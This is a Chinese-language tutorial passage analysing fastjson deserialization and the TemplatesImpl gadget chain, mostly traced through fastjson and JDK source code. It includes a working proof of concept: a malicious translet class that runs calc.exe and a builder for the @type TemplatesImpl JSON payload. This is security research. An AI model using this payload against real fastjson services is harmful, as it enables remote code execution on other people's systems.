1.简介

在上一篇文章中,粗略的走了一下fastjson的流程,走到后面晕晕的,已经不知道自己是谁了。

2.fastjson反序列化与原生反序列化的区别

1.不需要实现serializable
2.变量不需要transient,变量有对应的getter,setter,
3.入口点为setter或者getter,而并非传统反序列化的readObject。
因为fastjson会遍历所有的getter和setter方法,故对getter方法和setter方法有所限制,以免不是getter和setter也被遍历。
getter方法需要满足条件
1.方法名长度大于4
2.非静态方法,
3.get开头且第四个字母为大写。
4.没有传入的参数.
5.返回值是Collection Map AtomicBoolean AtomicInteger AtomicLong这些或者是继承自这些,且有setter方法。
setter方法需要满足条件。
1.方法名称大于四个字符,
2.非静态方法,
3.返回值要为void或者本类
4.参数要唯一。
5.必须要为set开头。
相同点在于最后都是反射或者动态类加载。
对于原生反序列化,fastjson的反序列化更像是一个”开放的后门“。
由于@type的特性,导致可以执行任意对象的set开头或者get开头的方法。
setter的话,fastjson在他的”原生“反序列化器javaBeanDeserializer中调用setValue可控,method.invoke可控。
getter的话,会在JSON.toJSON,一直往下追,就会发现一个名为get 的方法,里面也有一个method.invoke.

3.TemplatesImpl 链

这是一个最鸡肋的链子,所以放在前面先分析。
这条链子里的都是private属性的。所以就得用到ature.SupportNonPublicField。
这个链是CC3的下半部分。动态类加载导致的恶意代码执行。
getOutputProperties中调用了newTransformer()

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

在newTransformer中调用getTransletInstance()

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

跟进getTransletInstance(),这边调用defineTransletClasses()

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
    if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setServicesMechnism(_useServicesMechanism);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
}

跟进defineTransletClasses()

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
                              AccessController.doPrivileged(new PrivilegedAction() {
                                  public Object run() {
                                      return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                                  }
                              });

try {
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
        _auxClasses = new HashMap<>();
    }

    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();

        // Check if this is the main class
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        }
        else {
            _auxClasses.put(_class[i].getName(), _class[i]);
        }
    }

    if (_transletIndex < 0) {
        ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}
catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClass中有一个for循环,有一个defineClass.如果_bytecodes可控,那么就可以往里面放入恶意对象的字节码。

for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    else {
        _auxClasses.put(_class[i].getName(), _class[i]);
    }
}

构造恶意类,及其字节码。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
import java.util.Map;

public class evil extends AbstractTranslet {
    static{
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    private Map map;
    public Map getMap(){
        return map;
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

填入恶意类的字节码,并进行触发。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Base64.Encoder;

public class payload {
    public static void main(String[] args) throws IOException {
        byte[] code=Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\fastjson\\fastjson1.2.4\\target\\classes\\evil.class"));
        Encoder encoder=Base64.getEncoder();
        String evilvalue=encoder.encodeToString(code);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
            "\"@type\":\"" + NASTY_CLASS +"\","+
            "\"_bytecodes\":[\""+evilvalue+"\"],"+
            "'_name':'a.b',"+
            "'_tfactory':{ },"+
            "'_outputProperties':{ }"+
            "}\n";
        JSONObject jsonObject = JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
}

来复现一下具体的过程。
我们可以看到最后的执行点在javaBeanDeserializer.setValue
image.png
我们可以看一下调用栈

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:24, payload

可以看到其实还是有很多不同不同类的同名方法,所以复现起来还是困难。
我们从头开始看一遍。
从com.alibaba.fastjson.JSON中的parseObject方法出发。
image.png
这边调用了json.parse

public static Object parse(String text, Feature... features) {
    int featureValues = DEFAULT_PARSER_FEATURE;
    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    return parse(text, featureValues);
}

这里还是String字符串,将字符串和识别规则(featureValues)传入到另外一个parse.
在这个parse中new了一个DefaultJSONParser,传入了我们的json字符串,我们现在还不知道ParserConfig.getGlobalInstance,fetures就是具体的JSON字符串限制的一些限制和规则。

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    }

    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    Object value = parser.parse();

    parser.handleResovleTask(value);

    parser.close();

    return value;
}

我们可以看一下ParserConfig.getGlobalInstance().做了什么
他返回了一个global。

public static ParserConfig getGlobalInstance() {
    return global;
}

他new了一个ParserConfig(),我们看一下ParseConfig的无参构造。
image.png他的无参构造调用了一个有参构造。

public ParserConfig(){
    this(null, null);
}

这个有参构造中,主要的作用是定义了一个缓存列表,对应的类用对应的反序列化器,一种空间换时间的策略。并将线程类放入了黑名单。

private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader){
    if (asmFactory == null && !ASMUtils.IS_ANDROID) {
        try {
            if (parentClassLoader == null) {
                asmFactory = new ASMDeserializerFactory(new ASMClassLoader());
            } else {
                asmFactory = new ASMDeserializerFactory(parentClassLoader);
            }
        } catch (ExceptionInInitializerError error) {
            // skip
        } catch (AccessControlException error) {
            // skip
        } catch (NoClassDefFoundError error) {
            // skip
        }
    }

    this.asmFactory = asmFactory;

    if (asmFactory == null) {
        asmEnable = false;
    }

    derializers.put(SimpleDateFormat.class, MiscCodec.instance);
    derializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
    derializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
    derializers.put(java.sql.Time.class, TimeDeserializer.instance);
    derializers.put(java.util.Date.class, DateCodec.instance);
    derializers.put(Calendar.class, CalendarCodec.instance);
    derializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

    derializers.put(JSONObject.class, MapDeserializer.instance);
    derializers.put(JSONArray.class, CollectionCodec.instance);

    derializers.put(Map.class, MapDeserializer.instance);
    derializers.put(HashMap.class, MapDeserializer.instance);
    derializers.put(LinkedHashMap.class, MapDeserializer.instance);
    derializers.put(TreeMap.class, MapDeserializer.instance);
    derializers.put(ConcurrentMap.class, MapDeserializer.instance);
    derializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

    derializers.put(Collection.class, CollectionCodec.instance);
    derializers.put(List.class, CollectionCodec.instance);
    derializers.put(ArrayList.class, CollectionCodec.instance);

    derializers.put(Object.class, JavaObjectDeserializer.instance);
    derializers.put(String.class, StringCodec.instance);
    derializers.put(StringBuffer.class, StringCodec.instance);
    derializers.put(StringBuilder.class, StringCodec.instance);
    derializers.put(char.class, CharacterCodec.instance);
    derializers.put(Character.class, CharacterCodec.instance);
    derializers.put(byte.class, NumberDeserializer.instance);
    derializers.put(Byte.class, NumberDeserializer.instance);
    derializers.put(short.class, NumberDeserializer.instance);
    derializers.put(Short.class, NumberDeserializer.instance);
    derializers.put(int.class, IntegerCodec.instance);
    derializers.put(Integer.class, IntegerCodec.instance);
    derializers.put(long.class, LongCodec.instance);
    derializers.put(Long.class, LongCodec.instance);
    derializers.put(BigInteger.class, BigIntegerCodec.instance);
    derializers.put(BigDecimal.class, BigDecimalCodec.instance);
    derializers.put(float.class, FloatCodec.instance);
    derializers.put(Float.class, FloatCodec.instance);
    derializers.put(double.class, NumberDeserializer.instance);
derializers.put(Double.class, NumberDeserializer.instance);
derializers.put(boolean.class, BooleanCodec.instance);
derializers.put(Boolean.class, BooleanCodec.instance);
derializers.put(Class.class, MiscCodec.instance);
derializers.put(char[].class, new CharArrayCodec());

derializers.put(AtomicBoolean.class, BooleanCodec.instance);
derializers.put(AtomicInteger.class, IntegerCodec.instance);
derializers.put(AtomicLong.class, LongCodec.instance);
derializers.put(AtomicReference.class, ReferenceCodec.instance);

derializers.put(WeakReference.class, ReferenceCodec.instance);
derializers.put(SoftReference.class, ReferenceCodec.instance);

derializers.put(UUID.class, MiscCodec.instance);
derializers.put(TimeZone.class, MiscCodec.instance);
derializers.put(Locale.class, MiscCodec.instance);
derializers.put(Currency.class, MiscCodec.instance);
derializers.put(InetAddress.class, MiscCodec.instance);
derializers.put(Inet4Address.class, MiscCodec.instance);
derializers.put(Inet6Address.class, MiscCodec.instance);
derializers.put(InetSocketAddress.class, MiscCodec.instance);
derializers.put(File.class, MiscCodec.instance);
derializers.put(URI.class, MiscCodec.instance);
derializers.put(URL.class, MiscCodec.instance);
derializers.put(Pattern.class, MiscCodec.instance);
derializers.put(Charset.class, MiscCodec.instance);
derializers.put(JSONPath.class, MiscCodec.instance);
derializers.put(Number.class, NumberDeserializer.instance);
derializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
derializers.put(AtomicLongArray.class, AtomicCodec.instance);
derializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

derializers.put(Serializable.class, JavaObjectDeserializer.instance);
derializers.put(Cloneable.class, JavaObjectDeserializer.instance);
derializers.put(Comparable.class, JavaObjectDeserializer.instance);
derializers.put(Closeable.class, JavaObjectDeserializer.instance);

addDeny("java.lang.Thread");
addItemsToDeny(DENYS);
}

那我们现在看一下DefaultJSONParser做了什么事情。

public DefaultJSONParser(final String input, final ParserConfig config, int features){
    this(input, new JSONScanner(input, features), config);
}

继续调用另外一个有参构造。主要是存值和边界值的一个判断。

public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;

    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
    } else {
        lexer.nextToken(); // prime the pump
    }
}

然后继续往下,调用parse.
image.png
重载的方法先不看了,到这里就是具体的执行方法。switch里面主要是对第一个字符({)的判断

public Object parse(Object fieldName) {
    final JSONLexer lexer = this.lexer;
switch (lexer.token()) {
    case SET:
        lexer.nextToken();
        HashSet<Object> set = new HashSet<Object>();
        parseArray(set, fieldName);
        return set;
    case TREE_SET:
        lexer.nextToken();
        TreeSet<Object> treeSet = new TreeSet<Object>();
        parseArray(treeSet, fieldName);
        return treeSet;
    case LBRACKET:
        JSONArray array = new JSONArray();
        parseArray(array, fieldName);
        if (lexer.isEnabled(Feature.UseObjectArray)) {
            return array.toArray();
        }
        return array;
    case LBRACE:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return parseObject(object, fieldName);
    case LITERAL_INT:
        Number intValue = lexer.integerValue();
        lexer.nextToken();
        return intValue;
    case LITERAL_FLOAT:
        Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
        lexer.nextToken();
        return value;
    case LITERAL_STRING:
        String stringLiteral = lexer.stringVal();
        lexer.nextToken(JSONToken.COMMA);

        if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
            JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
            try {
                if (iso8601Lexer.scanISO8601DateIfMatch()) {
                    return iso8601Lexer.getCalendar().getTime();
                }
            } finally {
                iso8601Lexer.close();
            }
        }

        return stringLiteral;
    case NULL:
        lexer.nextToken();
        return null;
    case UNDEFINED:
        lexer.nextToken();
        return null;
    case TRUE:
        lexer.nextToken();
        return Boolean.TRUE;
    case FALSE:
        lexer.nextToken();
        return Boolean.FALSE;
    case NEW:
        lexer.nextToken(JSONToken.IDENTIFIER);

        if (lexer.token() != JSONToken.IDENTIFIER) {
            throw new JSONException("syntax error");
        }
        lexer.nextToken(JSONToken.LPAREN);

        accept(JSONToken.LPAREN);
        long time = ((Number) lexer.integerValue()).longValue();
        accept(JSONToken.LITERAL_INT);

        accept(JSONToken.RPAREN);

        return new Date(time);
    case EOF:
        if (lexer.isBlankInput()) {
            return null;
        }
        throw new JSONException("unterminated json string, " + lexer.info());
    case ERROR:
    default:
        throw new JSONException("syntax error, " + lexer.info());
}
}

因为我们是{,所以进入了LBRACE的case。
image.png主要是下面的parseObject操作。我们跟进parseObject,这里是DefaultJSONParser.parseObject

public final Object parseObject(final Map object, Object fieldName) {
    final JSONLexer lexer = this.lexer;

    if (lexer.token() == JSONToken.NULL) {
        lexer.nextToken();
        return null;
    }

    if (lexer.token() == JSONToken.RBRACE) {
        lexer.nextToken();
        return object;
    }

    if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
        throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
    }

    ParseContext context = this.context;
    try {
        boolean setContextFlag = false;
        for (;;) {
            lexer.skipWhitespace();
            char ch = lexer.getCurrent();
            if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                while (ch == ',') {
                    lexer.next();
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                }
            }

            boolean isObjectKey = false;
            Object key;
            if (ch == '"') {
                key = lexer.scanSymbol(symbolTable, '"');
                lexer.skipWhitespace();
                ch = lexer.getCurrent();
                if (ch != ':') {
                    throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                }
            } else if (ch == '}') {
                lexer.next();
                lexer.resetStringPosition();
                lexer.nextToken();

                if (!setContextFlag) {
                    if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
                        context = this.context;
                    } else {
                        ParseContext contextR = setContext(object, fieldName);
                        if (context == null) {
                            context = contextR;
                        }
                        setContextFlag = true;
                    }
                }

                return object;
            } else if (ch == '\'') {
                if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
                    throw new JSONException("syntax error");
                }

                key = lexer.scanSymbol(symbolTable, '\'');
                lexer.skipWhitespace();
                ch = lexer.getCurrent();
                if (ch != ':') {
                    throw new JSONException("expect ':' at " + lexer.pos());
                }
            } else if (ch == EOI) {
                throw new JSONException("syntax error");
            } else if (ch == ',') {
                throw new JSONException("syntax error");
            } else if ((ch >= '0' && ch <= '9') || ch == '-') {
                       lexer.resetStringPosition();
                       lexer.scanNumber();
                       try {
                       if (lexer.token() == JSONToken.LITERAL_INT) {
                       key = lexer.integerValue();
                       } else {
                       key = lexer.decimalValue(true);
                       }
                       } catch (NumberFormatException e) {
                       throw new JSONException("parse number key error" + lexer.info());
                       }
                       ch = lexer.getCurrent();
                       if (ch != ':') {
                       throw new JSONException("parse number key error" + lexer.info());
                       }
                       } else if (ch == '{' || ch == '[') {
                       lexer.nextToken();
                       key = parse();
                       isObjectKey = true;
                       } else {
                       if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
                       throw new JSONException("syntax error");
                       }

                       key = lexer.scanSymbolUnQuoted(symbolTable);
                       lexer.skipWhitespace();
                       ch = lexer.getCurrent();
                       if (ch != ':') {
                       throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
                       }
                       }

                       if (!isObjectKey) {
                       lexer.next();
                       lexer.skipWhitespace();
                       }

                       ch = lexer.getCurrent();

                       lexer.resetStringPosition();

                       if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                       String typeName = lexer.scanSymbol(symbolTable, '"');
                       Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

                       if (clazz == null) {
                       object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                       continue;
                       }

                       lexer.nextToken(JSONToken.COMMA);
                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken(JSONToken.COMMA);
                       try {
                       Object instance = null;
                       ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                       if (deserializer instanceof JavaBeanDeserializer) {
                       instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
                       }

                       if (instance == null) {
                       if (clazz == Cloneable.class) {
                       instance = new HashMap();
                       } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
                       instance = Collections.emptyMap();
                       } else {
                       instance = clazz.newInstance();
                       }
                       }

                       return instance;
                       } catch (Exception e) {
                       throw new JSONException("create instance error", e);
                       }
                       }

                       this.setResolveStatus(TypeNameRedirect);

                       if (this.context != null && !(fieldName instanceof Integer)) {
                       this.popContext();
                       }

                       if (object.size() > 0) {
                       Object newObj = TypeUtils.cast(object, clazz, this.config);
                       this.parseObject(newObj);
                       return newObj;
                       }

                       ObjectDeserializer deserializer = config.getDeserializer(clazz);
                       return deserializer.deserialze(this, clazz, fieldName);
                       }

                       if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                       lexer.nextToken(JSONToken.LITERAL_STRING);
                       if (lexer.token() == JSONToken.LITERAL_STRING) {
                       String ref = lexer.stringVal();
                       lexer.nextToken(JSONToken.RBRACE);

                       Object refValue = null;
                       if ("@".equals(ref)) {
                       if (this.context != null) {
                       ParseContext thisContext = this.context;
                       Object thisObj = thisContext.object;
                       if (thisObj instanceof Object[] || thisObj instanceof Collection<?>) {
                       refValue = thisObj;
                       } else if (thisContext.parent != null) {
                       refValue = thisContext.parent.object;
                       }
                       }
                       } else if ("..".equals(ref)) {
                       if (context.object != null) {
                       refValue = context.object;
                       } else {
                       addResolveTask(new ResolveTask(context, ref));
                       setResolveStatus(DefaultJSONParser.NeedToResolve);
                       }
                       } else if ("$".equals(ref)) {
                       ParseContext rootContext = context;
                       while (rootContext.parent != null) {
                       rootContext = rootContext.parent;
                       }

                       if (rootContext.object != null) {
                       refValue = rootContext.object;
                       } else {
                       addResolveTask(new ResolveTask(rootContext, ref));
                       setResolveStatus(DefaultJSONParser.NeedToResolve);
                       }
                       } else {
                       addResolveTask(new ResolveTask(context, ref));
                       setResolveStatus(DefaultJSONParser.NeedToResolve);
                       }

                       if (lexer.token() != JSONToken.RBRACE) {
                       throw new JSONException("syntax error");
                       }
                       lexer.nextToken(JSONToken.COMMA);

                       return refValue;
                       } else {
                       throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
                       }
                       }

                       if (!setContextFlag) {
                       if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
                       context = this.context;
                       } else {
                       ParseContext contextR = setContext(object, fieldName);
                       if (context == null) {
                       context = contextR;
                       }
                       setContextFlag = true;
                       }
                       }

                       if (object.getClass() == JSONObject.class) {
                       key = (key == null) ? "null" : key.toString();
                       }

                       Object value;
                       if (ch == '"') {
                       lexer.scanString();
                       String strValue = lexer.stringVal();
                       value = strValue;

                       if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                       JSONScanner iso8601Lexer = new JSONScanner(strValue);
                       if (iso8601Lexer.scanISO8601DateIfMatch()) {
                       value = iso8601Lexer.getCalendar().getTime();
                       }
                       iso8601Lexer.close();
                       }

                       object.put(key, value);
                       } else if (ch >= '0' && ch <= '9' || ch == '-') {
                       lexer.scanNumber();
                       if (lexer.token() == JSONToken.LITERAL_INT) {
                       value = lexer.integerValue();
                       } else {
                       value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                       }

                       object.put(key, value);
                       } else if (ch == '[') { // 减少嵌套,兼容android
                       lexer.nextToken();

                       JSONArray list = new JSONArray();

                       final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
                       //                    if (!parentIsArray) {
                       //                        this.setContext(context);
                       //                    }
                       if (fieldName == null) {
                       this.setContext(context);
                       }

                       this.parseArray(list, key);

                       if (lexer.isEnabled(Feature.UseObjectArray)) {
                       value = list.toArray();
                       } else {
                       value = list;
                       }
                       object.put(key, value);

                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken();
                       return object;
                       } else if (lexer.token() == JSONToken.COMMA) {
                       continue;
                       } else {
                       throw new JSONException("syntax error");
                       }
                       } else if (ch == '{') { // 减少嵌套,兼容android
                       lexer.nextToken();

                       final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;

                       JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                       ParseContext ctxLocal = null;

                       if (!parentIsArray) {
                       ctxLocal = setContext(context, input, key);
                       }

                       Object obj = null;
                       boolean objParsed = false;
                       if (fieldTypeResolver != null) {
                       String resolveFieldName = key != null ? key.toString() : null;
                       Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
                       if (fieldType != null) {
                       ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
                       obj = fieldDeser.deserialze(this, fieldType, key);
                       objParsed = true;
                       }
                       }
                       if (!objParsed) {
                       obj = this.parseObject(input, key);
                       }

                       if (ctxLocal != null && input != obj) {
                       ctxLocal.object = object;
                       }

                       checkMapResolve(object, key.toString());

                       if (object.getClass() == JSONObject.class) {
                       object.put(key.toString(), obj);
                       } else {
                       object.put(key, obj);
                       }

                       if (parentIsArray) {
                       //setContext(context, obj, key);
                       setContext(obj, key);
                       }

                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken();

                       setContext(context);
                       return object;
                       } else if (lexer.token() == JSONToken.COMMA) {
                       if (parentIsArray) {
                       this.popContext();
                       } else {
                       this.setContext(context);
                       }
                       continue;
                       } else {
                       throw new JSONException("syntax error, " + lexer.tokenName());
                       }
                       } else {
                       lexer.nextToken();
                       value = parse();

                       if (object.getClass() == JSONObject.class) {
                       key = key.toString();
                       }
                       object.put(key, value);

                       if (lexer.token() == JSONToken.RBRACE) {
                       lexer.nextToken();
                       return object;
                       } else if (lexer.token() == JSONToken.COMMA) {
                       continue;
                       } else {
                       throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
                       }
                       }

                       lexer.skipWhitespace();
                       ch = lexer.getCurrent();
                       if (ch == ',') {
                       lexer.next();
                       continue;
                       } else if (ch == '}') {
                       lexer.next();
                       lexer.resetStringPosition();
                       lexer.nextToken();

                       // this.setContext(object, fieldName);
                       this.setContext(value, key);

                       return object;
                       } else {
                       throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
                       }

                       }
                       } finally {
                       this.setContext(context);
                       }

                       }

我们下面步步拆分,然后来看。
主要是对@type的处理。
首先是获取typename类路径及类名,然后使用loadClass加载类,存入clazz.

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                    String typeName = lexer.scanSymbol(symbolTable, '"');
                    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

                    if (clazz == null) {
                        object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                        continue;
                    }

                    lexer.nextToken(JSONToken.COMMA);
                    if (lexer.token() == JSONToken.RBRACE) {
                        lexer.nextToken(JSONToken.COMMA);
                        try {
                            Object instance = null;
                            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
                            if (deserializer instanceof JavaBeanDeserializer) {
                                instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
                            }

                            if (instance == null) {
                                if (clazz == Cloneable.class) {
                                    instance = new HashMap();
                                } else if ("java.util.Collections$EmptyMap".equals(typeName)) {
                                    instance = Collections.emptyMap();
                                } else {
                                    instance = clazz.newInstance();
                                }
                            }

                            return instance;
                        } catch (Exception e) {
                            throw new JSONException("create instance error", e);
                        }
                    }
                    
                    this.setResolveStatus(TypeNameRedirect);

                    if (this.context != null && !(fieldName instanceof Integer)) {
                        this.popContext();
                    }
                    
                    if (object.size() > 0) {
                        Object newObj = TypeUtils.cast(object, clazz, this.config);
                        this.parseObject(newObj);
                        return newObj;
                    }

                    ObjectDeserializer deserializer = config.getDeserializer(clazz);
                    return deserializer.deserialze(this, clazz, fieldName);
                }

主要是在下面获取反序列化器。
image.png
我们可以看一下getDeserializer做了什么。
各种判断,derializers就不跟进去看了,其实就是里面有各种各样的类对应各种反序列化器,如果有就直接往里取,空间换时间。

public ObjectDeserializer getDeserializer(Type type) {
    ObjectDeserializer derializer = this.derializers.get(type);
if (derializer != null) {
    return derializer;
}

if (type instanceof Class<?>) {
    return getDeserializer((Class<?>) type, type);
}

if (type instanceof ParameterizedType) {
    Type rawType = ((ParameterizedType) type).getRawType();
    if (rawType instanceof Class<?>) {
        return getDeserializer((Class<?>) rawType, type);
    } else {
        return getDeserializer(rawType);
    }
}

return JavaObjectDeserializer.instance;
}

我们肯定是走进第二个if,我们继续往里跟进。
主要是通过各种包或者各种不同的类型(array,collection)的匹配获取到不同的反序列化器。并且有一个黑名单。
我们这边匹配不到,所以这边就用createJavaBeanDeserializer去创建一个反序列化器。

public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
    ObjectDeserializer derializer = derializers.get(type);
    if (derializer != null) {
        return derializer;
    }

    if (type == null) {
        type = clazz;
    }

    derializer = derializers.get(type);
    if (derializer != null) {
        return derializer;
    }

    {
        JSONType annotation = clazz.getAnnotation(JSONType.class);
        if (annotation != null) {
            Class<?> mappingTo = annotation.mappingTo();
            if (mappingTo != Void.class) {
                return getDeserializer(mappingTo, mappingTo);
            }
        }
    }

    if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
        derializer = derializers.get(clazz);
    }

    if (derializer != null) {
        return derializer;
    }

    String className = clazz.getName();
    className = className.replace('$', '.');
    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("parser deny : " + className);
        }
    }

    if (className.startsWith("java.awt.") //
        && AwtCodec.support(clazz)) {
        if (!awtError) {
            try {
                derializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
                derializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
                derializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
                derializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
            } catch (Throwable e) {
                // skip
                awtError = true;
            }

            derializer = AwtCodec.instance;
        }
    }

    if (!jdk8Error) {
        try {
            if (className.startsWith("java.time.")) {

                derializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
                derializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
